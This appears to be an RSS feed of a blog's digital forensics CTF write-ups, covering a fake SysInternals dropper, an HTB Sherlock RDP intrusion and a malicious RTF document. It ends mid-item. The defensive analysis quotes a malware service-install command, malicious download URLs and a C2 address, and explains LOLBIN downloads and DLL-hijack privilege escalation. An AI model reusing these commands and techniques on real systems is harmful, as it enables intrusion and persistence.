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    <channel>
        <title><![CDATA[Stories by YournextCISO on Medium]]></title>
        <description><![CDATA[Stories by YournextCISO on Medium]]></description>
        <link>https://medium.com/@yournextCISO?source=rss-e695c47bca91------2</link>
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            <title>Stories by YournextCISO on Medium</title>
            <link>https://medium.com/@yournextCISO?source=rss-e695c47bca91------2</link>
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        <lastBuildDate>Sun, 22 Nov 2026 21:04:38 GMT</lastBuildDate>
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        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
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        <item>
            <title><![CDATA[Cyberdefenders: SysInternals]]></title>
            <link>https://medium.com/@yournextCISO/cyberdefenders-sysinternals-12c670eb4e24?source=rss-e695c47bca91------2</link>
            <guid isPermaLink="false">https://medium.com/p/12c670eb4e24</guid>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[sysinternals]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[YournextCISO]]></dc:creator>
            <pubDate>Fri, 15 May 2026 15:50:38 GMT</pubDate>
            <atom:updated>2026-05-15T15:58:36.550Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cG954jYw7iH-JO3N.png" /><figcaption>Info</figcaption></figure><h4>Scenario.</h4><p>A user thought they were downloading the SysInternals tool suite and attempted to open it, but the tools did not launch and became inaccessible. Since then, the user has observed that their system has gradually slowed down and become less responsive.</p><p>Link to lab : <a href="https://cyberdefenders.org/blueteam-ctf-challenges/sysinternals/">https://cyberdefenders.org/blueteam-ctf-challenges/sysinternals/</a></p><p><strong>Task 1<br></strong>What was the malicious executable file name that the user downloaded?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/0*voA4IYQXzi9pFAVp.png" /></figure><blockquote>Ans: SysInternals.exe</blockquote><p>We can parse the Amcache hive and check for the SHA1 of the SysInternals executable to get the reputation on VirusTotal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*raaOc7bgeBT1D30W.jpg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ohxoEV4PwtcaBlxj.png" /></figure><p><strong>Task 2<br></strong>When was the last time the malicious executable file was modified?</p><p>The exact timestamp depends on your disk image, which reads from the MFT, not file system metadata. You can see it using FTK Imager or parsing the MFT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/0*Ok59ToMwuew0dr7z.png" /></figure><blockquote>Ans: 2022–11–15 21:18</blockquote><p><strong>Task 3<br></strong>What is the SHA1 hash value of the malware?</p><blockquote>Ans: fa1002b02fc5551e075ec44bb4ff9cc13d563dcf</blockquote><p><strong>Task 4<br></strong>Based on the Alibaba vendor, what is the malware’s family?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hBQ2p_XpYdShZv7O.png" /></figure><blockquote>Ans: Rozena</blockquote><p><strong>Task 5<br></strong>What is the first mapped domain’s Fully Qualified Domain Name (FQDN)?</p><p>We could go two routes to see this. First we can look at the etc\hosts located at C:\Windows\System32\drivers\etc\hosts :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/0*fQc6sLWjZzXQ6wP9.png" /></figure><p>Second will be under the Relations tab in VirusTotal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4HE1maJ3_5rEkOIa.png" /></figure><blockquote>Ans: <a href="http://www.malware430.com/">www.malware430.com</a></blockquote><p><strong>Task 6<br></strong>The mapped domain is linked to an IP address. What is that IP address?</p><blockquote>Ans: 192.168.15.10</blockquote><p><strong>Task 7<br></strong>What is the name of the executable dropped by the first-stage executable?</p><p>Analyzing through AnyRun, we could see the executable vmtoolsIO.exe being dropped:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/0*I-46EPlVL_j0OpDm.png" /></figure><pre>&quot;C:\Windows\System32\cmd.exe&quot; /C c:\Windows\vmtoolsIO.exe -install &amp;&amp; net start VMwareIOHelperService &amp;&amp; sc config VMwareIOHelperService start= auto</pre><p>We also see a service, VMwareIOHelperService, which is written to HKLM\SYSTEM\CurrentControlSet\Services\ by vmtoolsIO.exe -install</p><blockquote>Ans: vmtoolsIO.exe</blockquote><p><strong>Task 8<br></strong>What is the name of the service installed by 2nd-stage executable?</p><blockquote>Ans: VMwareIOHelperService</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=12c670eb4e24" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Sherlock : WorkFromHome]]></title>
            <link>https://medium.com/@yournextCISO/htb-sherlock-workfromhome-f3940ef56e42?source=rss-e695c47bca91------2</link>
            <guid isPermaLink="false">https://medium.com/p/f3940ef56e42</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[YournextCISO]]></dc:creator>
            <pubDate>Wed, 13 May 2026 04:05:34 GMT</pubDate>
            <atom:updated>2026-05-13T04:05:34.103Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YKFVkkYNiF4EhLcm.png" /></figure><p><strong>Link to Lab</strong>: <a href="https://app.hackthebox.com/sherlocks/WorkFromHome">https://app.hackthebox.com/sherlocks/WorkFromHome</a></p><p><strong>Tools:</strong> SIFT Workstation, EZtools, foremost, hindsight</p><p>Wowza Enterprise (Wowza Inc.) has hired you to investigate an incident involving a workstation used by Otello John, which is believed to have been compromised by a threat actor. The attacker reportedly changed the desktop wallpaper to a questionable image. The IT team has already provided you with initial information, and it is your duty to report back your findings.</p><p>So after extracting the files from this case, we are presented with a triaged C folder of the workstation. Going through the drive we now need to think about what I actually have.</p><p>From the directory tree, we can identify the following:</p><ul><li>Two user profiles: otello.j (victim) and wowzaadmin (admin)</li><li>Chrome installed under otello.j - meaning browser forensics are available</li><li>Edge also present—secondary browser artifacts</li><li>PSReadline folder present — PowerShell history</li><li>JumpLists present (AutomaticDestinations + CustomDestinations) — recently opened files</li><li>Prefetch folder present — execution evidence</li><li>Windows Defender Support logs — AV detection artifacts</li><li>SRUM (SRU folder)—resource/network usage per process</li><li>WMI logs (winevt + LogFiles/WMI) — relevant to wmiprvse activity</li><li>Startup folder present at ProgramData level—Likely persistence location.</li></ul><h4>TASK 1</h4><p>Identify the phishing URL that the user clicked on, resulting in credential harvesting.</p><p>The attacker had to get credentials somehow before they could RDP in. The most likely vector is a phishing email containing a link. The user clicked on it and was redirected to a login page. So we go to browser artifacts first. Chrome is the primary browser installed. Chrome stores all visited URLs in a SQLite database called &quot;History&quot; located at:</p><pre>C:\Users\otello.j\AppData\Local\Google\Chrome\User Data\Default\History</pre><p>Opening the History file with sqlite3 and querying the database for urls containing common words like &quot;login&quot; and &quot;logon&quot;:</p><pre>sqlite3 chrome_history.db \ &quot;SELECT url, title, datetime(last_visit_time/1000000 - 11644473600, &#39;unixepoch&#39;) AS visit_time FROM urls WHERE url LIKE &#39;%login%&#39; OR url LIKE &#39;%logon%&#39; OR url LIKE &#39;%wowza%&#39; ORDER BY last_visit_time DESC;&quot;</pre><p>From there we could see a suspicious link, which was used to trick the user. The subdomain login.wowzalnc.co.th is a typosquatting of the legitimate Wowza domain wowzalnc:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*idqBFeDRolchmf-h.png" /></figure><blockquote>Ans: <a href="http://login.wowzalnc.co.th/logon.php">http://login.wowzalnc.co.th/logon.php</a></blockquote><h4>TASK 2</h4><p>When did the threat actor gain access to the victim’s computer via RDP for the first time?</p><p>From the earlier we know the user clicked the link on 2025–05–25 10:36:42. Where the creds were stolen via phishing. The attacker then RDP into the machine. RDP logons leave highly reliable traces in Windows Event Logs located at</p><pre>C:\Windows\System32\winevt\logs\Security.evtx</pre><p>And running evtxecmd and saving the output as a .csv file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FwFuLMaigKkgRaN6.png" /></figure><p>From there we can grep for LogonType 10 in the output folder, as we know it was an RDP connection:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SBmsrGWhMnrwdiGl.jpg" /></figure><blockquote>Ans : 2025–05–27 11:59:57</blockquote><h4>TASK 3</h4><p>The threat actor accessed several sensitive files on the victim’s work-related folder. What is the full path of the PowerPoint presentation file opened by the attacker?</p><p>The attacker is now on the machine via RDP. They’re doing reconnaissance looking for valuable files. We need to know what files were opened during the attacker’s RDP session window (i.e., after 2025–05–27 11:59:57). JumpLists are artifacts for recently opened files. Located at:</p><pre>C:\Users\otello.j\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\</pre><pre> C:\Users\otello.j\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AeSQ6P3cmH-nOAXl.png" /></figure><p>Exporting and opening it up with TimelineExplorer, we could see that Proposal to CFO.pptx was the most recently accessed :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-X7l-WUVU9r02WDD.png" /></figure><p>Ans: C:\Users\otello.j\Desktop\Working\Proposal to CFO.pptx</p><h4>TASK 4</h4><p>The threat actor discovered a privilege that allows specific volume-level management operations and could be exploited to get full control over the C drive. What is this special privilege?</p><p>After gaining initial access as otello.j, the attacker needs to know what privileges this account has. The first thing any attacker does after getting a shell is run whoami /priv or equivalent. We need to find evidence of that enumeration. The PSReadline ConsoleHost_history.txt file is the PowerShell command history file. Located at:</p><pre>C:\Users\otello.j\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt</pre><p>Is a location we could look at or the security event log ID 4672 . But this wasn’t included as part of the artifacts. Doing a little google search you will see the special privilege is SeManageVolumePrivilege.</p><h4>TASK 5</h4><p>What is the name of the executable downloaded by the threat actor to exploit previously found privilege?</p><p>Running sqlite3 :</p><pre>sqlite3 chrome_history.db \<br>&quot;SELECT target_path, tab_url, start_time, state, interrupt_reason<br> FROM downloads<br> WHERE target_path LIKE &#39;%.exe&#39;<br> ORDER BY start_time DESC;&quot;</pre><p>We see this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ca49YUa8l8u2iEJE.png" /></figure><blockquote>Ans: SeManageVolumeExploit.exe</blockquote><h4>TASK 6</h4><p>What is the full URL from where the threat actor tried to download a DLL file?</p><p>Just tweak the earlier query to have this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/0*Wo5OM6hWOdVg5ZJN.png" /></figure><blockquote>Ans: <a href="http://freehackingtool.com/tools/PrintConfig.dll">http://freehackingtool.com/tools/PrintConfig.dll</a></blockquote><h4>TASK 7</h4><p>The malicious DLL file was not successfully downloaded, as the download was interrupted by the safe browsing safety feature. Research Browser forensics and find the description of the interrupt reason that caused the download to be disrupted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*odFwEZclN1Vb5Wzu.png" /></figure><blockquote>Ans: The user shut down the browser</blockquote><h4>TASK 8</h4><p>Since the download was not successful from the browser directly, which LOLBIN did the threat actor use to download this file successfully?</p><p>This was a little bit tricky. Normally when a browser download fails, TA usually pivot to native windows utilities. Looking at this I had some common LOLBINS used for file downloads in mind :</p><p>PowerShell cmdlets — Invoke-WebRequest, Start-BitsTransfer<br>certutil.exe — Certifcate services utility with URL capability<br>bitsadmin.exe—Background intelligent transfer service administration<br>mshta.exe, an HTML application host, can also execute remote scripts</p><p>1. Looking at Powershell command history</p><pre>C\Users\otello.j\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2lliRbW773QySRdj.png" /></figure><p>Did find things we will go back to soon…</p><p>2. CryptnetUrlCache</p><p>CryptnetUrlCache is a certutil-specific artifact. No other Windows utility writes to this location. When certutil.exe uses the -urlcache functionality, it writes metadata about the download to :</p><pre>C\Users\otello.j\AppData\LocalLow\Microsoft\CryptnetUrlCache</pre><p>MetaData\ — Contains URL, timestamp, HTTP headers<br>Content—Contains the actual cache file.</p><p>AbdulRhman Alfaifi created a good script to parse that out. You can find it <a href="https://github.com/AbdulRhmanAlfaifi/CryptnetURLCacheParser">here</a></p><p>Running this on</p><pre>C\Users\otello.j\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData</pre><p>Command :</p><pre>python.exe .\CryptnetUrlCacheParser.py -d &quot;C\Users\otello.j\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData&quot;  -o &quot;WorkFromHome\C\metaout.csv&quot;  --outputFormat csv  --useContent</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5cZLLnZfvSTn7Zdt.jpg" /></figure><p>We can now see two DLLs downloaded from the freehackingtool site . Earlier we saw and interesting powershell command which was used to change the wallpaper, and knowing the attacker did not want the downloads to be blocked again , certutil was used to download the image to be used.</p><p>Looking at the Chrome History:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*__n_PppcW_TN8rho.jpg" /></figure><p>Using the CryptnetUrlCacheParser tool on “C\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData’’ we could see the image gg.bmp was downloaded:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZEFSLTTd2sZgayB_.png" /></figure><p>MD5 hash : 9AE639DDFC8EC6B1473DAA436972AFA6</p><blockquote>Ans: Certutil.exe</blockquote><h4>TASK 9</h4><p>When was the malicious DLL file successfully downloaded using the LOLBIN ?</p><p>Still, with the output we got from the parser, we can clearly see the last download time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WBbMOMjzFokXzFcc.png" /></figure><blockquote>Ans: 2025–05–28 12:45:37</blockquote><h4>TASK 10</h4><p>To gain System privileges, the threat actor replaced an existing DLL with the same name. What is the original path of the legitimate DLL ?</p><p>PrintConfig.dll is a legitimate Windows DLL. So it would make sense the attacker would want to replace the original with the malicious one. Looking at $MFT</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UQwz7stcOPXLm1jH.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*d7eEdpOBA3my6HWj.png" /></figure><blockquote>Ans: C:\Windows\System32\spool\drivers\x64\3\Printconfig.dll</blockquote><h4>TASK 11</h4><p>The threat actor removed the legitimate DLL before replacing it with the malicious DLL. When was the legit DLL deleted?</p><p>Before placing the malicious DLL, the attacker had to remove the original. USN Journal ($UsnJrnl:$J) is the most precise source for file deletion events. The USN (Update Sequence Number) Journal records every file system change with a reason code and timestamp. Read more on it <a href="https://www.cyberengage.org/post/ntfs-journaling-in-digital-forensics-logfile-usnjrnl-parsing-of-j-logfile-using-mftecmd-ex">here</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*h0r23C_84cpBfJng.jpg" /></figure><blockquote>Ans: 2025–05–28 12:47:06</blockquote><h4>TASK 12</h4><p>When was the malicious DLL detected as malware?</p><p>We could look at this in two ways:</p><ol><li>Windows Defender MPLog files which stores plain text logs at: ``` C:\ProgramData\Microsoft\Windows Defender\Support\</li><li>Defender operational event log which is stored at : C:\Users\UrnextCISO\Desktop\htb_workstation\Meetup\WorkFromHome\C\Windows\System32\winevt\logs</li></ol><p>Looking at the MPLog file :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SJQqJEzwwUCNtCL9.png" /></figure><p>Looking at the event logs , searching for Event ID 1116 = Malware detected and Event ID 1117 = Remediation action taken :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AkFawNYY-TU1aGwc.png" /></figure><blockquote>Ans: 2025–05–28 15:19:35</blockquote><h4>TASK 13</h4><p>The threat actor initiated a Windows component to load this DLL. What is the CLSID of this component?</p><p>After the TA dropped the malicious DLL they needed something to load it. They leveraged a legitimate Windows COM object that is registered to load DLLs from the print driver directory. This is the trigger mechanism which we could see earlier on in the PowerShell Command History :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NH5yeaIC6t20CiBH.png" /></figure><blockquote>Ans: {854A20FB-2D44–457D-992F-EF13785D2B51}</blockquote><h4>TASK 14</h4><p>What is the name of the service/object associated with this CLSID?</p><p>PrintNotify is a COM object that runs in the context of the Print Spooler service (spoolsv.exe) which runs as SYSTEM. When the attacker instantiates this COM object (or the system does it naturally during print operations), Windows loads PrintConfig.dll from C:\Windows\System32\spool\drivers\x64\3\. Since the malicious DLL is now at that path, the malicious code executes with SYSTEM privileges completing the privilege escalation chain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*M-pkgF7KIv1Uegis.png" /></figure><blockquote>Ans: PrintNotify</blockquote><h4>TASK 15</h4><p>What is the SHA1 hash of the malicious DLL file?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*O9D3fNVgjQKZ4j0y.png" /></figure><blockquote>Ans: 916564984e38f8bb91921cd4e40b64156a72142b</blockquote><h4>TASK 16</h4><p>A Second DLL file was downloaded from the same malicious domain. Where was it downloaded on the filesystem?</p><p>We had seen the other DLL which was downloaded from the malicious site :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bulDi6K4JDUKrZUy.jpg" /></figure><p>Using UsnJrnl to correlate the activity :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*euzxVSImoiVsR3RL.png" /></figure><p>tzres.dll is Windows&#39; Time Zone Resources DLL. A legitimate copy lives in C:\Windows\System32\. The WMI Provider Host process (wmiprvse.exe) uses a DLL search order that checks the application&#39;s own directory first. When wmiprvse.exe is located in C:\Windows\System32\wbem\, it will load a tzres.dll from that directory before looking in System32. This is what gives the attacker persistent code execution every time WMI is used.</p><p>Looking inside $MFT we can then pinpoint the location to where it was downloaded on the system:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6db7LyA80h5XrACo.jpg" /></figure><blockquote>Ans: C:\windows\system32\wbem\tzres.dll</blockquote><h4>TASK 17</h4><p>When was this DLL downloaded on the system?</p><p>Parsing the UsnJrnl you’ll get this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DWY84GpQ5TZODa47.png" /></figure><blockquote>Ans: 2025–05–28 12:54:23</blockquote><p><strong>NB: </strong>The Timestamp will be different from what you see in the CryptnetUrlCache because the $UsnJrnl records when the OS finishes writing those bits to the physical sectors of the disk. This is related to how I answered TASK 9.</p><h4>TASK 18</h4><p>The threat actor downloaded a VBScript for command execution to facilitate the DLL execution of the second malicious DLL. What is the full path of this script after it was moved to a new location?</p><p>The tzres.dll hijack only fires when wmiprvse.exe runs. The attacker needs a reliable trigger that fires at every boot hence moving VBScript into the Startup folder . The Startup folder location in ProgramData means it runs for all users.</p><p>Download of the VBS script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PYQ-kzocZXxjfvl1.jpg" /></figure><p>Looking in $MFT to see where it is located on the file system :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EGZgBRyEAD0EaLme.png" /></figure><blockquote>Ans: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\a.vbs</blockquote><h4>TASK 19</h4><p>What is the full command that the script is configured to execute?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/0*1rbUtfwlgXSKnZmx.png" /></figure><blockquote>Ans: cmd.exe /c systeminfo</blockquote><h4>TASK 20</h4><p>The threat actor configured the VBS script to be hidden from the Windows GUI (File Explorer). When was this attribute set on the file?</p><p>We can reference the parsed UsnJrnl :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*W7RaWOxNjot4rYAO.jpg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PIvjSnYeSBTbxZqm.png" /></figure><blockquote>Ans: 2025–05–28 12:56:11</blockquote><h4>TASK 21</h4><p>Which process loads the previously identified DLL with this command? The command executed by the VBS script ultimately facilitates loading and execution of the Second malicious DLL, providing persistence and execution capabilities to the attacker.</p><p>To better understand this you can refer to this <a href="https://redcanary.com/threat-detection-report/techniques/dll-search-order-hijacking/">post</a>. Since during startup Windows runs all items in the “ProgramData\StartUp” , this will execute the a.vbs which then launches wscript.exe → cmd.exe gets spawned and runs the “systeminfo” command which invokes WMI to gather the system info. This in turn starts wmiprvse.exe in C:\Windows\System32\wbem\ → wmiprvse.exe loads tzres.dll ( Due to DLL search order, wmiprvse.exe will load tzres.dll from its own directory before searching System32.) then the malicious tzres.dll code executes with system privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*u5PR-nOuxJOrlKse.png" /></figure><blockquote>Ans: wmiprvse.exe</blockquote><h4>TASK 22</h4><p>The threat actor downloaded an image file to change the desktop wallpaper. What is the full path of this file?</p><p>We had seen the gg.bmp file which was downloaded :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hllKGX8dKyp7WRtZ.png" /></figure><p>MD5 Hash : 9AE639DDFC8EC6B1473DAA436972AFA6</p><p>Then moved to the C:\Users\Public\Pictures folder:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/0*txZndkzrsmpYaOFT.png" /></figure><blockquote>Ans: C:\Users\Public\Pictures\gg.bmp</blockquote><h4>TASK 23</h4><p>The threat actor then proceeded to change the desktop wallpaper of the compromised user to the newly downloaded image. Find the time when the wallpaper was altered.</p><p>When we took a look at the PowerShell command history we could now look at the PowerShell event logs and just filter for the image name :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TGBceQX9UpvHwKnT.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mOPetg85SspI7v99.png" /></figure><blockquote>Ans: 2025–05–28 12:59:30</blockquote><h4>TASK 24</h4><p>When did the victim user log in to their workstation after the compromise?</p><p>Since we know the attacker logged on via RDP as seen in TASK 2, we can focus on interactive logins to the system after they changed the wallpaper :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qI0fL4JCarhMUHLr.png" /></figure><blockquote>Ans: 2025–05–28 15:04:41</blockquote><h4>TASK 25</h4><p>What is the message on the new wallpaper?</p><p>When a file is “deleted” on NTFS, only the MFT record is marked as available for reuse. The actual file data clusters on disk are not zeroed out because they remain in unallocated space until overwritten by new data. To carve files we will need to first convert the C folder into a raw image (dd or E01). Link to read more <a href="https://ocsaly.com/p5-1_file_carving-hex-recovering-images-and-docs-by-their-magic-bytes/">here</a></p><p>1. Create a Blank Virtual Container</p><pre>sudo dd if=/dev/zero of=/cases/virtual_drive.raw bs=1M count=2000</pre><ol><li>Format the Container</li></ol><pre>sudo mkfs.ntfs -F /cases/virtual_drive.raw</pre><ol><li>Mount and Fill the Container</li></ol><p>Mount your new “drive” and copy your extracted files into it.</p><pre>sudo mkdir /mnt/temp_disk<br>sudo mount -o loop /cases/virtual_drive.raw /mnt/temp_disk<br>sudo cp -r /path/to/your/extracted_folder/* /mnt/temp_disk/<br>sudo umount /mnt/temp_disk</pre><ol><li>Run foremost on the raw image</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/0*ClE9qFGdwIvvVzzJ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aEElCAYFgXCMRnd8.jpg" /></figure><blockquote>Ans: HACKED BY ANARCHY</blockquote><p><strong>Useful Links:</strong></p><ol><li><a href="https://strontic.github.io/xcyclopedia/library/PrintConfig.dll-D5D1B9E570ED4AF99AB9A7DBF79032AF.html">https://strontic.github.io/xcyclopedia/library/PrintConfig.dll-D5D1B9E570ED4AF99AB9A7DBF79032AF.html</a></li><li><a href="https://github.com/sailay1996/SpoolTrigger">https://github.com/sailay1996/SpoolTrigger</a></li><li><a href="https://thinkdfir.com/2020/07/30/certutil-download-artefacts/">https://thinkdfir.com/2020/07/30/certutil-download-artefacts/</a></li><li><a href="https://github.com/AbdulRhmanAlfaifi/CryptnetURLCacheParser">https://github.com/AbdulRhmanAlfaifi/CryptnetURLCacheParser</a></li><li><a href="https://u0041.co/posts/articals/certutil-artifacts-analysis/">https://u0041.co/posts/articals/certutil-artifacts-analysis/</a></li><li><a href="https://www.cybertriage.com/blog/dfir-breakdown-using-certutil-to-download-attack-tools/">https://www.cybertriage.com/blog/dfir-breakdown-using-certutil-to-download-attack-tools/</a></li><li><a href="https://omar-amir.notion.site/UsnJrnl-2318e7e337658079ac89fb3c1f7683d7#2318e7e3376580dc9397c75d650191df">https://omar-amir.notion.site/UsnJrnl-2318e7e337658079ac89fb3c1f7683d7#2318e7e3376580dc9397c75d650191df</a></li><li><a href="https://mahmoud-shaker.gitbook.io/dfir-notes/com-component-object-model">https://mahmoud-shaker.gitbook.io/dfir-notes/com-component-object-model</a></li><li><a href="https://mahmoud-shaker.gitbook.io/dfir-notes/living-off-the-land-binaries-lolbins">https://mahmoud-shaker.gitbook.io/dfir-notes/living-off-the-land-binaries-lolbins</a></li><li><a href="https://foremost.sourceforge.net/">https://foremost.sourceforge.net/</a></li><li><a href="https://redcanary.com/threat-detection-report/techniques/dll-search-order-hijacking/">https://redcanary.com/threat-detection-report/techniques/dll-search-order-hijacking/</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f3940ef56e42" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Malware Monday #4]]></title>
            <link>https://medium.com/@yournextCISO/malware-monday-4-53352dbbc6fc?source=rss-e695c47bca91------2</link>
            <guid isPermaLink="false">https://medium.com/p/53352dbbc6fc</guid>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[write]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[YournextCISO]]></dc:creator>
            <pubDate>Mon, 24 Feb 2025 19:37:05 GMT</pubDate>
            <atom:updated>2025-02-24T19:37:05.632Z</atom:updated>
            <content:encoded><![CDATA[<p>Malware rtf docs</p><h3>Malicious Doc</h3><p>Analyze malicious .doc file</p><p><a href="https://app.letsdefend.io/challenge/malicious-doic">File: /root/Desktop/ChallengeFiles/factura.zip</a><br>Password: infected</p><ol><li>What type of exploit is running as a result of the relevant file running on the victim machine?</li></ol><p>Since RTF documents are commonly used in malicious campaigns, I checked if this document contained RTF based exploits:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9cnYgCURWsruT0biFfwHLw.png" /></figure><p>From there, we can now check the hash on Virustotal and get the exploit that was running:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HF97DGmPEZB93U56YZNIkw.png" /></figure><p>we can see it is indeed an rft exploit</p><p>Ans: Rtf.Exploit</p><p>2. What is the relevant Exploit CVE code obtained as a result of the analysis?</p><p>We did see it from the image above.</p><p>Ans: CVE-2017–11882</p><p>3. What is the name of the malicious software downloaded from the internet as a result of the file running?</p><p>On virustotal, we can search the Realtions tab and see the contacted URLs and what was pulled from there:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dxQERH_68pMBk1FajmGSrw.png" /></figure><p>Ans: jan2.exe</p><p>4. What is the IP address and port information it communicates with?</p><p>You can either drop this into AnyRun and automate the analysis or look at the Community section in virustotal :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NobzFP-MdTCCnGPXV2CtKg.png" /></figure><p>Ans: 185.36.74.48:80</p><p>5. What is the exe name it drops to disk after it runs?</p><p>Under the Behavior tab, we can look at the files written:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KIKbpnZZXcWIgLbA8mpIlQ.png" /></figure><p>Ans: aro.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*L03WV2hYOhArxMPyBF3GJw.png" /></figure><h4>Resources.</h4><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fuq793-KTCDs%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Duq793-KTCDs&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fuq793-KTCDs%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/33364fcc2dc6c42dcdfb651c40a08179/href">https://medium.com/media/33364fcc2dc6c42dcdfb651c40a08179/href</a></iframe><ul><li><a href="https://bufferzonesecurity.com/the-beginners-guide-to-rtf-malware-reverse-engineering-part-1/">The Beginner&#39;s Guide To - RTF Malware Reverse Engineering Part 1 - BUFFERZONE</a></li><li><a href="https://app.letsdefend.io/challenge/malicious-doic">Challenge</a></li><li><a href="https://www.virustotal.com/gui/file/5a31c77293af2920d7020d5d0236691adcea2c57c2716658ce118a5cba9d4913/behavior">VirusTotal</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=53352dbbc6fc" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[PCAP Saturday- Web Inve]]></title>
            <link>https://medium.com/@yournextCISO/pcap-saturday-web-inve-c2161768af30?source=rss-e695c47bca91------2</link>
            <guid isPermaLink="false">https://medium.com/p/c2161768af30</guid>
            <category><![CDATA[network-forensics]]></category>
            <category><![CDATA[pcap-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
